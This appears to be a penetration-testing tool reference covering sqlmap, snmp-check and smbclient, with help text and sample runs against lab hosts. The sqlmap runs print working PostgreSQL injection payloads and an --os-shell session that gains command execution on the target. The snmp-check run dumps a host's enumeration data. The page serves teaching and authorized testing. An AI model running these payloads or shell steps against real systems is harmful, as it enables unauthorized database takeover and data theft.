sqlmap

Description

sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers.

PlatformAll
AuthorSqlmap Project
LicenseGPLv3
URLhttps://sqlmap.org

Usage

        ___
       __H__                                                                                                                                                                                                                              
 ___ ___[(]_____ ___ ___  {1.6#stable}                                                                                                                                                                                                    
|_ -| . ["]     | .'| . |                                                                                                                                                                                                                 
|___|_  [(]_|_|_|__,|  _|                                                                                                                                                                                                                 
      |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                              
 
Usage: python3 sqlmap [options]
 
Options:
  -h, --help            Show basic help message and exit
  -hh                   Show advanced help message and exit
  --version             Show program's version number and exit
  -v VERBOSE            Verbosity level: 0-6 (default 1)
 
  Target:
    At least one of these options has to be provided to define the
    target(s)
 
    -u URL, --url=URL   Target URL (e.g. "http://www.site.com/vuln.php?id=1")
    -d DIRECT           Connection string for direct database connection
    -l LOGFILE          Parse target(s) from Burp or WebScarab proxy log file
    -m BULKFILE         Scan multiple targets given in a textual file
    -r REQUESTFILE      Load HTTP request from a file
    -g GOOGLEDORK       Process Google dork results as target URLs
    -c CONFIGFILE       Load options from a configuration INI file
 
  Request:
    These options can be used to specify how to connect to the target URL
 
    -A AGENT, --user..  HTTP User-Agent header value
    -H HEADER, --hea..  Extra header (e.g. "X-Forwarded-For: 127.0.0.1")
    --method=METHOD     Force usage of given HTTP method (e.g. PUT)
    --data=DATA         Data string to be sent through POST (e.g. "id=1")
    --param-del=PARA..  Character used for splitting parameter values (e.g. &)
    --cookie=COOKIE     HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
    --cookie-del=COO..  Character used for splitting cookie values (e.g. ;)
    --live-cookies=L..  Live cookies file used for loading up-to-date values
    --load-cookies=L..  File containing cookies in Netscape/wget format
    --drop-set-cookie   Ignore Set-Cookie header from response
    --mobile            Imitate smartphone through HTTP User-Agent header
    --random-agent      Use randomly selected HTTP User-Agent header value
    --host=HOST         HTTP Host header value
    --referer=REFERER   HTTP Referer header value
    --headers=HEADERS   Extra headers (e.g. "Accept-Language: fr\nETag: 123")
    --auth-type=AUTH..  HTTP authentication type (Basic, Digest, Bearer, ...)
    --auth-cred=AUTH..  HTTP authentication credentials (name:password)
    --auth-file=AUTH..  HTTP authentication PEM cert/private key file
    --ignore-code=IG..  Ignore (problematic) HTTP error code (e.g. 401)
    --ignore-proxy      Ignore system default proxy settings
    --ignore-redirects  Ignore redirection attempts
    --ignore-timeouts   Ignore connection timeouts
    --proxy=PROXY       Use a proxy to connect to the target URL
    --proxy-cred=PRO..  Proxy authentication credentials (name:password)
    --proxy-file=PRO..  Load proxy list from a file
    --proxy-freq=PRO..  Requests between change of proxy from a given list
    --tor               Use Tor anonymity network
    --tor-port=TORPORT  Set Tor proxy port other than default
    --tor-type=TORTYPE  Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))
    --check-tor         Check to see if Tor is used properly
    --delay=DELAY       Delay in seconds between each HTTP request
    --timeout=TIMEOUT   Seconds to wait before timeout connection (default 30)
    --retries=RETRIES   Retries when the connection timeouts (default 3)
    --retry-on=RETRYON  Retry request on regexp matching content (e.g. "drop")
    --randomize=RPARAM  Randomly change value for given parameter(s)
    --safe-url=SAFEURL  URL address to visit frequently during testing
    --safe-post=SAFE..  POST data to send to a safe URL
    --safe-req=SAFER..  Load safe HTTP request from a file
    --safe-freq=SAFE..  Regular requests between visits to a safe URL
    --skip-urlencode    Skip URL encoding of payload data
    --csrf-token=CSR..  Parameter used to hold anti-CSRF token
    --csrf-url=CSRFURL  URL address to visit for extraction of anti-CSRF token
    --csrf-method=CS..  HTTP method to use during anti-CSRF token page visit
    --csrf-retries=C..  Retries for anti-CSRF token retrieval (default 0)
    --force-ssl         Force usage of SSL/HTTPS
    --chunked           Use HTTP chunked transfer encoded (POST) requests
    --hpp               Use HTTP parameter pollution method
    --eval=EVALCODE     Evaluate provided Python code before the request (e.g.
                        "import hashlib;id2=hashlib.md5(id).hexdigest()")
 
  Optimization:
    These options can be used to optimize the performance of sqlmap
 
    -o                  Turn on all optimization switches
    --predict-output    Predict common queries output
    --keep-alive        Use persistent HTTP(s) connections
    --null-connection   Retrieve page length without actual HTTP response body
    --threads=THREADS   Max number of concurrent HTTP(s) requests (default 1)
 
  Injection:
    These options can be used to specify which parameters to test for,
    provide custom injection payloads and optional tampering scripts
 
    -p TESTPARAMETER    Testable parameter(s)
    --skip=SKIP         Skip testing for given parameter(s)
    --skip-static       Skip testing parameters that not appear to be dynamic
    --param-exclude=..  Regexp to exclude parameters from testing (e.g. "ses")
    --param-filter=P..  Select testable parameter(s) by place (e.g. "POST")
    --dbms=DBMS         Force back-end DBMS to provided value
    --dbms-cred=DBMS..  DBMS authentication credentials (user:password)
    --os=OS             Force back-end DBMS operating system to provided value
    --invalid-bignum    Use big numbers for invalidating values
    --invalid-logical   Use logical operations for invalidating values
    --invalid-string    Use random strings for invalidating values
    --no-cast           Turn off payload casting mechanism
    --no-escape         Turn off string escaping mechanism
    --prefix=PREFIX     Injection payload prefix string
    --suffix=SUFFIX     Injection payload suffix string
    --tamper=TAMPER     Use given script(s) for tampering injection data
 
  Detection:
    These options can be used to customize the detection phase
 
    --level=LEVEL       Level of tests to perform (1-5, default 1)
    --risk=RISK         Risk of tests to perform (1-3, default 1)
    --string=STRING     String to match when query is evaluated to True
    --not-string=NOT..  String to match when query is evaluated to False
    --regexp=REGEXP     Regexp to match when query is evaluated to True
    --code=CODE         HTTP code to match when query is evaluated to True
    --smart             Perform thorough tests only if positive heuristic(s)
    --text-only         Compare pages based only on the textual content
    --titles            Compare pages based only on their titles
 
  Techniques:
    These options can be used to tweak testing of specific SQL injection
    techniques
 
    --technique=TECH..  SQL injection techniques to use (default "BEUSTQ")
    --time-sec=TIMESEC  Seconds to delay the DBMS response (default 5)
    --union-cols=UCOLS  Range of columns to test for UNION query SQL injection
    --union-char=UCHAR  Character to use for bruteforcing number of columns
    --union-from=UFROM  Table to use in FROM part of UNION query SQL injection
    --dns-domain=DNS..  Domain name used for DNS exfiltration attack
    --second-url=SEC..  Resulting page URL searched for second-order response
    --second-req=SEC..  Load second-order HTTP request from file
 
  Fingerprint:
    -f, --fingerprint   Perform an extensive DBMS version fingerprint
 
  Enumeration:
    These options can be used to enumerate the back-end database
    management system information, structure and data contained in the
    tables
 
    -a, --all           Retrieve everything
    -b, --banner        Retrieve DBMS banner
    --current-user      Retrieve DBMS current user
    --current-db        Retrieve DBMS current database
    --hostname          Retrieve DBMS server hostname
    --is-dba            Detect if the DBMS current user is DBA
    --users             Enumerate DBMS users
    --passwords         Enumerate DBMS users password hashes
    --privileges        Enumerate DBMS users privileges
    --roles             Enumerate DBMS users roles
    --dbs               Enumerate DBMS databases
    --tables            Enumerate DBMS database tables
    --columns           Enumerate DBMS database table columns
    --schema            Enumerate DBMS schema
    --count             Retrieve number of entries for table(s)
    --dump              Dump DBMS database table entries
    --dump-all          Dump all DBMS databases tables entries
    --search            Search column(s), table(s) and/or database name(s)
    --comments          Check for DBMS comments during enumeration
    --statements        Retrieve SQL statements being run on DBMS
    -D DB               DBMS database to enumerate
    -T TBL              DBMS database table(s) to enumerate
    -C COL              DBMS database table column(s) to enumerate
    -X EXCLUDE          DBMS database identifier(s) to not enumerate
    -U USER             DBMS user to enumerate
    --exclude-sysdbs    Exclude DBMS system databases when enumerating tables
    --pivot-column=P..  Pivot column name
    --where=DUMPWHERE   Use WHERE condition while table dumping
    --start=LIMITSTART  First dump table entry to retrieve
    --stop=LIMITSTOP    Last dump table entry to retrieve
    --first=FIRSTCHAR   First query output word character to retrieve
    --last=LASTCHAR     Last query output word character to retrieve
    --sql-query=SQLQ..  SQL statement to be executed
    --sql-shell         Prompt for an interactive SQL shell
    --sql-file=SQLFILE  Execute SQL statements from given file(s)
 
  Brute force:
    These options can be used to run brute force checks
 
    --common-tables     Check existence of common tables
    --common-columns    Check existence of common columns
    --common-files      Check existence of common files
 
  User-defined function injection:
    These options can be used to create custom user-defined functions
 
    --udf-inject        Inject custom user-defined functions
    --shared-lib=SHLIB  Local path of the shared library
 
  File system access:
    These options can be used to access the back-end database management
    system underlying file system
 
    --file-read=FILE..  Read a file from the back-end DBMS file system
    --file-write=FIL..  Write a local file on the back-end DBMS file system
    --file-dest=FILE..  Back-end DBMS absolute filepath to write to
 
  Operating system access:
    These options can be used to access the back-end database management
    system underlying operating system
 
    --os-cmd=OSCMD      Execute an operating system command
    --os-shell          Prompt for an interactive operating system shell
    --os-pwn            Prompt for an OOB shell, Meterpreter or VNC
    --os-smbrelay       One click prompt for an OOB shell, Meterpreter or VNC
    --os-bof            Stored procedure buffer overflow exploitation
    --priv-esc          Database process user privilege escalation
    --msf-path=MSFPATH  Local path where Metasploit Framework is installed
    --tmp-path=TMPPATH  Remote absolute path of temporary files directory
 
  Windows registry access:
    These options can be used to access the back-end database management
    system Windows registry
 
    --reg-read          Read a Windows registry key value
    --reg-add           Write a Windows registry key value data
    --reg-del           Delete a Windows registry key value
    --reg-key=REGKEY    Windows registry key
    --reg-value=REGVAL  Windows registry key value
    --reg-data=REGDATA  Windows registry key value data
    --reg-type=REGTYPE  Windows registry key value type
 
  General:
    These options can be used to set some general working parameters
 
    -s SESSIONFILE      Load session from a stored (.sqlite) file
    -t TRAFFICFILE      Log all HTTP traffic into a textual file
    --answers=ANSWERS   Set predefined answers (e.g. "quit=N,follow=N")
    --base64=BASE64P..  Parameter(s) containing Base64 encoded data
    --base64-safe       Use URL and filename safe Base64 alphabet (RFC 4648)
    --batch             Never ask for user input, use the default behavior
    --binary-fields=..  Result fields having binary values (e.g. "digest")
    --check-internet    Check Internet connection before assessing the target
    --cleanup           Clean up the DBMS from sqlmap specific UDF and tables
    --crawl=CRAWLDEPTH  Crawl the website starting from the target URL
    --crawl-exclude=..  Regexp to exclude pages from crawling (e.g. "logout")
    --csv-del=CSVDEL    Delimiting character used in CSV output (default ",")
    --charset=CHARSET   Blind SQL injection charset (e.g. "0123456789abcdef")
    --dump-format=DU..  Format of dumped data (CSV (default), HTML or SQLITE)
    --encoding=ENCOD..  Character encoding used for data retrieval (e.g. GBK)
    --eta               Display for each output the estimated time of arrival
    --flush-session     Flush session files for current target
    --forms             Parse and test forms on target URL
    --fresh-queries     Ignore query results stored in session file
    --gpage=GOOGLEPAGE  Use Google dork results from specified page number
    --har=HARFILE       Log all HTTP traffic into a HAR file
    --hex               Use hex conversion during data retrieval
    --output-dir=OUT..  Custom output directory path
    --parse-errors      Parse and display DBMS error messages from responses
    --preprocess=PRE..  Use given script(s) for preprocessing (request)
    --postprocess=PO..  Use given script(s) for postprocessing (response)
    --repair            Redump entries having unknown character marker (?)
    --save=SAVECONFIG   Save options to a configuration INI file
    --scope=SCOPE       Regexp for filtering targets
    --skip-heuristics   Skip heuristic detection of vulnerabilities
    --skip-waf          Skip heuristic detection of WAF/IPS protection
    --table-prefix=T..  Prefix used for temporary tables (default: "sqlmap")
    --test-filter=TE..  Select tests by payloads and/or titles (e.g. ROW)
    --test-skip=TEST..  Skip tests by payloads and/or titles (e.g. BENCHMARK)
    --web-root=WEBROOT  Web server document root directory (e.g. "/var/www")
 
  Miscellaneous:
    These options do not fit into any other category
 
    -z MNEMONICS        Use short mnemonics (e.g. "flu,bat,ban,tec=EU")
    --alert=ALERT       Run host OS command(s) when SQL injection is found
    --beep              Beep on question and/or when vulnerability is found
    --dependencies      Check for missing (optional) sqlmap dependencies
    --disable-coloring  Disable console output coloring
    --list-tampers      Display list of available tamper scripts
    --offline           Work in offline mode (only use session data)
    --purge             Safely remove all content from sqlmap data directory
    --results-file=R..  Location of CSV results file in multiple targets mode
    --shell             Prompt for an interactive sqlmap shell
    --tmp-dir=TMPDIR    Local directory for storing temporary files
    --unstable          Adjust options for unstable connections
    --update            Update sqlmap
    --wizard            Simple wizard interface for beginner users

Examples

sqlmap -u http://x.x.x.x/dashboard.php –forms –crawl=2 –cookie=”PHPSESSID=ecl57pepe51nq8t020n19eajdc”

This command will use a previously obtained authentication cookie to crawl the provided page and test it for sql injection vulnerabilities.

└─$ sqlmap -u http://10.129.95.174/dashboard.php --forms --crawl=2 --cookie="PHPSESSID=ecl57pepe51nq8t020n19eajdc"
        ___
       __H__                                                                                                                                                                                                                              
 ___ ___["]_____ ___ ___  {1.6#stable}                                                                                                                                                                                                    
|_ -| . [']     | .'| . |                                                                                                                                                                                                                 
|___|_  ["]_|_|_|__,|  _|                                                                                                                                                                                                                 
      |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                              
 
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
 
[*] starting @ 21:56:42 /2022-03-27/
 
do you want to check for the existence of site's sitemap(.xml) [y/N]
[21:56:44] [INFO] starting crawler for target URL 'http://10.129.95.174/dashboard.php'
[21:56:44] [INFO] searching for links with depth 1
[21:56:45] [INFO] searching for links with depth 2                                                                                                                                                                                       
please enter number of threads? [Enter for 1 (current)] 2
[21:56:47] [INFO] starting 2 threads
do you want to normalize crawling results [Y/n]                                                                                                                                                                                          
do you want to store crawling results to a temporary file for eventual further processing with other tools [y/N]
[21:56:51] [INFO] found a total of 2 targets
[1/2] Form:
GET http://10.129.95.174/dashboard.php?search=
Cookie: PHPSESSID=ecl57pepe51nq8t020n19eajdc
do you want to test this form? [Y/n/q]
> Y
Edit GET data [default: search=]:
do you want to fill blank fields with random values? [Y/n]
[21:57:03] [INFO] using '/home/kali/.local/share/sqlmap/output/results-03272022_0957pm.csv' as the CSV results file in multiple targets mode
[21:57:04] [INFO] checking if the target is protected by some kind of WAF/IPS
[21:57:04] [INFO] testing if the target URL content is stable
[21:57:04] [INFO] target URL content is stable
[21:57:04] [INFO] testing if GET parameter 'search' is dynamic
[21:57:04] [WARNING] GET parameter 'search' does not appear to be dynamic
[21:57:04] [INFO] heuristic (basic) test shows that GET parameter 'search' might be injectable (possible DBMS: 'PostgreSQL')
[21:57:04] [INFO] heuristic (XSS) test shows that GET parameter 'search' might be vulnerable to cross-site scripting (XSS) attacks
[21:57:04] [INFO] testing for SQL injection on GET parameter 'search'
it looks like the back-end DBMS is 'PostgreSQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'PostgreSQL' extending provided level (1) and risk (1) values? [Y/n] Y
[21:57:33] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[21:57:34] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[21:57:34] [INFO] testing 'Generic inline queries'
[21:57:34] [INFO] testing 'PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)'
[21:57:34] [INFO] GET parameter 'search' appears to be 'PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)' injectable
[21:57:34] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[21:57:34] [INFO] GET parameter 'search' is 'PostgreSQL AND error-based - WHERE or HAVING clause' injectable
[21:57:34] [INFO] testing 'PostgreSQL inline queries'
[21:57:34] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[21:57:34] [WARNING] time-based comparison requires larger statistical model, please wait....... (done)                                                                                                                                  
[21:57:44] [INFO] GET parameter 'search' appears to be 'PostgreSQL > 8.1 stacked queries (comment)' injectable
[21:57:44] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[21:57:54] [INFO] GET parameter 'search' appears to be 'PostgreSQL > 8.1 AND time-based blind' injectable
[21:57:54] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
GET parameter 'search' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 34 HTTP(s) requests:
---
Parameter: search (GET)
    Type: boolean-based blind
    Title: PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)
    Payload: search=UIxO' AND (SELECT (CASE WHEN (9562=9562) THEN NULL ELSE CAST((CHR(66)||CHR(105)||CHR(81)||CHR(98)) AS NUMERIC) END)) IS NULL-- ERQn
 
    Type: error-based
    Title: PostgreSQL AND error-based - WHERE or HAVING clause
    Payload: search=UIxO' AND 6624=CAST((CHR(113)||CHR(112)||CHR(120)||CHR(118)||CHR(113))||(SELECT (CASE WHEN (6624=6624) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(98)||CHR(122)||CHR(118)||CHR(113)) AS NUMERIC)-- McGu
 
    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries (comment)
    Payload: search=UIxO';SELECT PG_SLEEP(5)--
 
    Type: time-based blind
    Title: PostgreSQL > 8.1 AND time-based blind
    Payload: search=UIxO' AND 3799=(SELECT 3799 FROM PG_SLEEP(5))-- oRIu
---
do you want to exploit this SQL injection? [Y/n]
sqlmap -u http://x.x.x.x/dashboard.php –forms –crawl=2 –cookie=”PHPSESSID=ecl57pepe51nq8t020n19eajdc” –os-shell

This will attempt to exploit a previously found sql injection vulnerability and return an OS shell.

└─$ sqlmap -u http://10.129.95.174/dashboard.php --forms --crawl=2 --cookie="PHPSESSID=ecl57pepe51nq8t020n19eajdc" --os-shell
        ___
       __H__                                                                                                                                                                                                                              
 ___ ___[,]_____ ___ ___  {1.6#stable}                                                                                                                                                                                                    
|_ -| . [(]     | .'| . |                                                                                                                                                                                                                 
|___|_  [(]_|_|_|__,|  _|                                                                                                                                                                                                                 
      |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                              
 
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
 
[*] starting @ 22:04:24 /2022-03-27/
 
do you want to check for the existence of site's sitemap(.xml) [y/N]
[22:04:26] [INFO] starting crawler for target URL 'http://10.129.95.174/dashboard.php'
[22:04:26] [INFO] searching for links with depth 1
[22:04:27] [INFO] searching for links with depth 2                                                                                                                                                                                       
please enter number of threads? [Enter for 1 (current)] 2
[22:04:29] [INFO] starting 2 threads
do you want to normalize crawling results [Y/n]                                                                                                                                                                                          
do you want to store crawling results to a temporary file for eventual further processing with other tools [y/N]
[22:04:35] [INFO] found a total of 2 targets
[1/2] Form:
POST http://10.129.95.174
Cookie: PHPSESSID=ecl57pepe51nq8t020n19eajdc
POST data: username=&password=
do you want to test this form? [Y/n/q]
> n
[2/2] Form:
GET http://10.129.95.174/dashboard.php?search=
Cookie: PHPSESSID=ecl57pepe51nq8t020n19eajdc
do you want to test this form? [Y/n/q]
> Y
Edit GET data [default: search=]:
do you want to fill blank fields with random values? [Y/n]
[22:05:11] [INFO] resuming back-end DBMS 'postgresql'
[22:05:11] [INFO] using '/home/kali/.local/share/sqlmap/output/results-03272022_1005pm.csv' as the CSV results file in multiple targets mode
[22:05:11] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
[22:05:11] [WARNING] if the problem persists please check that the provided target URL is reachable. In case that it is, you can try to rerun with switch '--random-agent' and/or proxy switches ('--proxy', '--proxy-file'...)
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: search (GET)
    Type: boolean-based blind
    Title: PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)
    Payload: search=UIxO' AND (SELECT (CASE WHEN (9562=9562) THEN NULL ELSE CAST((CHR(66)||CHR(105)||CHR(81)||CHR(98)) AS NUMERIC) END)) IS NULL-- ERQn
 
    Type: error-based
    Title: PostgreSQL AND error-based - WHERE or HAVING clause
    Payload: search=UIxO' AND 6624=CAST((CHR(113)||CHR(112)||CHR(120)||CHR(118)||CHR(113))||(SELECT (CASE WHEN (6624=6624) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(98)||CHR(122)||CHR(118)||CHR(113)) AS NUMERIC)-- McGu
 
    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries (comment)
    Payload: search=UIxO';SELECT PG_SLEEP(5)--
 
    Type: time-based blind
    Title: PostgreSQL > 8.1 AND time-based blind
    Payload: search=UIxO' AND 3799=(SELECT 3799 FROM PG_SLEEP(5))-- oRIu
---
do you want to exploit this SQL injection? [Y/n]
[22:05:21] [INFO] the back-end DBMS is PostgreSQL
web server operating system: Linux Ubuntu 20.10 or 20.04 or 19.10 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: PostgreSQL
[22:05:21] [INFO] fingerprinting the back-end DBMS operating system
[22:05:22] [INFO] the back-end DBMS operating system is Linux
[22:05:22] [INFO] testing if current user is DBA
[22:05:22] [INFO] retrieved: '1'
[22:05:22] [INFO] going to use 'COPY ... FROM PROGRAM ...' command execution
[22:05:22] [INFO] calling Linux OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a]
[22:05:33] [INFO] retrieved: 'postgres'
command standard output:
---
p
o
s
t
g
r
e
s
---
os-shell>

Blog Posts

snmp-check

Description

Snmpcheck is an open source tool distributed under GPL license. Its goal is to automate the process of gathering information of any devices with SNMP protocol support (Windows, Unix-like, network appliances, printers…). Like snmpwalk, snmpcheck allows you to enumerate the SNMP devices and places the output in a very human readable friendly format. It could be useful for penetration testing or systems monitoring.

PlatformLinux
AuthorMatteo Cantoni
LicenseGPLv3
URLhttp://www.nothink.org/codes/snmpcheck/

Usage

snmp-check v1.9 - SNMP enumerator
Copyright (c) 2005-2015 by Matteo Cantoni (www.nothink.org)
 
 Usage: snmp-check [OPTIONS] <target IP address>
 
  -p --port        : SNMP port. Default port is 161;
  -c --community   : SNMP community. Default is public;
  -v --version     : SNMP version (1,2c). Default is 1;
 
  -w --write       : detect write access (separate action by enumeration);
 
  -d --disable_tcp : disable TCP connections enumeration!
  -t --timeout     : timeout in seconds. Default is 5;
  -r --retries     : request retries. Default is 1;
  -i --info        : show script version;
  -h --help        : show help menu;

Examples

snmp-check x.x.x.x

The following output shows snmp-check run with default settings.

└─# snmp-check 192.168.168.42
snmp-check v1.9 - SNMP enumerator
Copyright (c) 2005-2015 by Matteo Cantoni (www.nothink.org)
 
[+] Try to connect to 192.168.168.42:161 using SNMPv1 and community 'public'
 
[*] System information:
 
  Host IP address               : 192.168.168.42
  Hostname                      : 0xbabe.local
  Description                   : Linux 0xbabe.local 2.6.8-4-386 #1 Wed Feb 20 06:15:54 UTC 2008 i686
  Contact                       : Root <root@localhost> (configure /etc/snmp/snmpd.local.conf)
  Location                      : Unknown (configure /etc/snmp/snmpd.local.conf)
  Uptime snmp                   : 02:27:01.75
  Uptime system                 : 02:26:28.35
  System date                   : 2021-2-3 02:57:09.0
 
[*] Network information:
 
  IP forwarding enabled         : no
  Default TTL                   : 64
  TCP segments received         : 4004
  TCP segments sent             : 2614
  TCP segments retrans          : 0
  Input datagrams               : 4245
  Delivered datagrams           : 4245
  Output datagrams              : 2854
 
[*] Network interfaces:
 
  Interface                     : [ up ] lo
  Id                            : 1
  Mac Address                   : :::::
  Type                          : softwareLoopback
  Speed                         : 10 Mbps
  MTU                           : 16436
  In octets                     : 264
  Out octets                    : 264
 
  Interface                     : [ up ] eth0
  Id                            : 2
  Mac Address                   : 00:50:56:bf:a3:08
  Type                          : ethernet-csmacd
  Speed                         : 100 Mbps
  MTU                           : 1500
  In octets                     : 3325200
  Out octets                    : 234338
 
  Interface                     : [ down ] sit0
  Id                            : 3
  Mac Address                   : 00:00:00:00:a3:08
  Type                          : unknown
  Speed                         : 0 Mbps
  MTU                           : 1480
  In octets                     : 0
  Out octets                    : 0
 
 
[*] Network IP:
 
  Id                    IP Address            Netmask               Broadcast          
  1                     127.0.0.1             255.0.0.0             0                  
  2                     192.168.168.42        255.255.255.0         1                  
 
[*] Routing information:
 
  Destination           Next hop              Mask                  Metric             
  0.0.0.0               192.168.168.254       0.0.0.0               1                  
  192.168.168.0         0.0.0.0               255.255.255.0         0                  
 
[*] TCP connections and listening ports:
 
  Local address         Local port            Remote address        Remote port           State              
  0.0.0.0               25                    0.0.0.0               0                     listen             
  0.0.0.0               80                    0.0.0.0               0                     listen             
  0.0.0.0               139                   0.0.0.0               0                     listen             
  0.0.0.0               199                   0.0.0.0               0                     listen             
  0.0.0.0               445                   0.0.0.0               0                     listen             
 
[*] Listening UDP ports:
 
  Local address         Local port         
  0.0.0.0               137                
  0.0.0.0               138                
  0.0.0.0               161                
  192.168.168.42        137                
  192.168.168.42        138                
 
[*] Processes:
 
  Id                    Status                Name                  Path                  Parameters         
  1                     runnable              init                  init [2]                                 
  2                     runnable              ksoftirqd/0           ksoftirqd/0                              
  3                     runnable              events/0              events/0                                 
  4                     runnable              khelper               khelper                                  
  5                     runnable              kacpid                kacpid                                   
  99                    runnable              kblockd/0             kblockd/0                                
  109                   runnable              pdflush               pdflush                                  
  110                   runnable              pdflush               pdflush                                  
  111                   runnable              kswapd0               kswapd0                                  
  112                   runnable              aio/0                 aio/0                                    
  255                   runnable              kseriod               kseriod                                  
  276                   runnable              scsi_eh_0             scsi_eh_0                                
  284                   runnable              khubd                 khubd                                    
  348                   runnable              shpchpd_event         shpchpd_event                            
  380                   runnable              kjournald             kjournald                                
  935                   runnable              vmmemctl              vmmemctl                                 
  1177                  runnable              vmtoolsd              /usr/sbin/vmtoolsd                       
  3772                  running               syslogd               /sbin/syslogd                            
  3775                  runnable              klogd                 /sbin/klogd                              
  3780                  runnable              clamd                 /usr/local/sbin/clamd                     
  3782                  runnable              clamav-milter         /usr/local/sbin/clamav-milter  --black-hole-mode -l -o -q /var/run/clamav/clamav-milter.ctl
  3791                  runnable              inetd                 /usr/sbin/inetd                          
  3795                  runnable              nmbd                  /usr/sbin/nmbd        -D                 
  3797                  runnable              smbd                  /usr/sbin/smbd        -D                 
  3801                  running               snmpd                 /usr/sbin/snmpd       -Lsd -Lf /dev/null -p /var/run/snmpd.pid
  3807                  runnable              sshd                  /usr/sbin/sshd                           
  3822                  runnable              smbd                  /usr/sbin/smbd        -D                 
  3886                  runnable              sendmail-mta          sendmail: MTA: accepting connections                     
  3900                  runnable              atd                   /usr/sbin/atd                            
  3903                  runnable              cron                  /usr/sbin/cron                           
  3910                  runnable              apache                /usr/sbin/apache                         
  3911                  runnable              apache                /usr/sbin/apache                         
  3912                  runnable              apache                /usr/sbin/apache                         
  3913                  runnable              apache                /usr/sbin/apache                         
  3914                  runnable              apache                /usr/sbin/apache                         
  3915                  runnable              apache                /usr/sbin/apache                         
  3926                  runnable              getty                 /sbin/getty           38400 tty1         
  3928                  runnable              getty                 /sbin/getty           38400 tty2         
  3929                  runnable              getty                 /sbin/getty           38400 tty3         
  3930                  runnable              getty                 /sbin/getty           38400 tty4         
  3931                  runnable              getty                 /sbin/getty           38400 tty5         
  3932                  runnable              getty                 /sbin/getty           38400 tty6         
  4022                  runnable              apache                /usr/sbin/apache                         
  4032                  runnable              apache                /usr/sbin/apache                         
 
[*] Storage information:
 
  Description                   : ["Real Memory"]
  Device id                     : [#<SNMP::Integer:0x00005603d60ea328 @value=2>]
  Filesystem type               : ["unknown"]
  Device unit                   : [#<SNMP::Integer:0x00005603d60e8640 @value=1024>]
  Memory size                   : 250.82 MB
  Memory used                   : 123.28 MB
 
  Description                   : ["Swap Space"]
  Device id                     : [#<SNMP::Integer:0x00005603d60e3190 @value=3>]
  Filesystem type               : ["unknown"]
  Device unit                   : [#<SNMP::Integer:0x00005603d60e1458 @value=1024>]
  Memory size                   : 203.91 MB
  Memory used                   : 0 bytes
 
  Description                   : ["/"]
  Device id                     : [#<SNMP::Integer:0x00005603d60dc0c0 @value=4>]
  Filesystem type               : ["unknown"]
  Device unit                   : [#<SNMP::Integer:0x00005603d60da3b0 @value=4096>]
  Memory size                   : 3.74 GB
  Memory used                   : 765.66 MB
 
  Description                   : ["/sys"]
  Device id                     : [#<SNMP::Integer:0x00005603d6030f40 @value=5>]
  Filesystem type               : ["unknown"]
  Device unit                   : [#<SNMP::Integer:0x00005603d602f258 @value=4096>]
  Memory size                   : 0 bytes
  Memory used                   : 0 bytes
 
 
[*] File system information:
 
  Index                         : 1
  Mount point                   : /
  Remote mount point            : -
  Access                        : 1
  Bootable                      : 1
 
[*] Device information:
 
  Id                    Type                  Status                Descr              
  768                   unknown               unknown               AuthenticAMD: AMD EPYC 7371 16-Core Processor
  1025                  unknown               running               network interface lo
  1026                  unknown               running               network interface eth0
  1027                  unknown               down                  network interface sit0
  1536                  unknown               unknown               VMware Virtual IDE CDROM Drive
  1552                  unknown               unknown               SCSI disk (/dev/sda)
  3072                  unknown               unknown               Guessing that there's a floating point co-processor

Blog Posts

smbclient

Description

smbclient is a client that can ‘talk’ to an SMB/CIFS server. It offers an interface similar to that of the ftp program. Operations include things like getting files from the server to the local machine, putting files from the local machine to the server, retrieving directory information from the server and so on.

Usage

Tool Usage:

Usage: smbclient service <password>
  -R, --name-resolve=NAME-RESOLVE-ORDER     Use these name resolution services only
  -M, --message=HOST                        Send message
  -I, --ip-address=IP                       Use this IP to connect to
  -E, --stderr                              Write messages to stderr instead of stdout
  -L, --list=HOST                           Get a list of shares available on a host
  -m, --max-protocol=LEVEL                  Set the max protocol level
  -T, --tar=<c|x>IXFvgbNan                  Command line tar
  -D, --directory=DIR                       Start from directory
  -c, --command=STRING                      Execute semicolon separated commands
  -b, --send-buffer=BYTES                   Changes the transmit/send buffer
  -t, --timeout=SECONDS                     Changes the per-operation timeout
  -p, --port=PORT                           Port to connect to
  -g, --grepable                            Produce grepable output
  -q, --quiet                               Suppress help message
  -B, --browse                              Browse SMB servers using DNS
 
Help options:
  -?, --help                                Show this help message
      --usage                               Display brief usage message
 
Common samba options:
  -d, --debuglevel=DEBUGLEVEL               Set debug level
  -s, --configfile=CONFIGFILE               Use alternate configuration file
  -l, --log-basename=LOGFILEBASE            Base name for log files
  -V, --version                             Print version
